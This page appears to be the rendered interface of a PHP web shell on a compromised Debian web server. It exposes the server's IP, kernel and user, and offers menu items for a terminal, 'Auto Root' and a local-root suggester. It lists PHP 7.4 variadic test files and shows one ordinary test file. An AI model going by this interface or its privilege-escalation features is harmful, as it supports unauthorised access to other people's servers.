Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
src /
php-7.4.33 /
Zend /
tests /
variadic /
Delete
Unzip
Name
Size
Permission
Date
Action
adding_additional_optional_parameter.phpt
323
B
-rw-rw-r--
2022-10-31 11:36
adding_additional_optional_parameter_error.phpt
457
B
-rw-rw-r--
2022-10-31 11:36
basic.phpt
538
B
-rw-rw-r--
2022-10-31 11:36
by_ref.phpt
286
B
-rw-rw-r--
2022-10-31 11:36
by_ref_error.phpt
192
B
-rw-rw-r--
2022-10-31 11:36
closure_invoke.phpt
254
B
-rw-rw-r--
2022-10-31 11:36
no_default_error.phpt
197
B
-rw-rw-r--
2022-10-31 11:36
non_variadic_implements_variadic_error.phpt
382
B
-rw-rw-r--
2022-10-31 11:36
only_last_error.phpt
188
B
-rw-rw-r--
2022-10-31 11:36
optional_params.phpt
483
B
-rw-rw-r--
2022-10-31 11:36
removing_parameter_error.phpt
563
B
-rw-rw-r--
2022-10-31 11:36
typehint_error.phpt
540
B
-rw-rw-r--
2022-10-31 11:36
typehint_suppressed_error.phpt
333
B
-rw-rw-r--
2022-10-31 11:36
variadic_changed_byref_error.phpt
374
B
-rw-rw-r--
2022-10-31 11:36
variadic_changed_typehint_error.phpt
395
B
-rw-rw-r--
2022-10-31 11:36
variadic_implements_non_variadic.phpt
253
B
-rw-rw-r--
2022-10-31 11:36
Save
Rename
--TEST-- Basic variadic function --FILE-- <?php function test1(... $args) { var_dump($args); } test1(); test1(1); test1(1, 2, 3); function test2($arg1, $arg2, ...$args) { var_dump($arg1, $arg2, $args); } test2(1, 2); test2(1, 2, 3); test2(1, 2, 3, 4, 5); ?> --EXPECT-- array(0) { } array(1) { [0]=> int(1) } array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3) } int(1) int(2) array(0) { } int(1) int(2) array(1) { [0]=> int(3) } int(1) int(2) array(3) { [0]=> int(3) [1]=> int(4) [2]=> int(5) }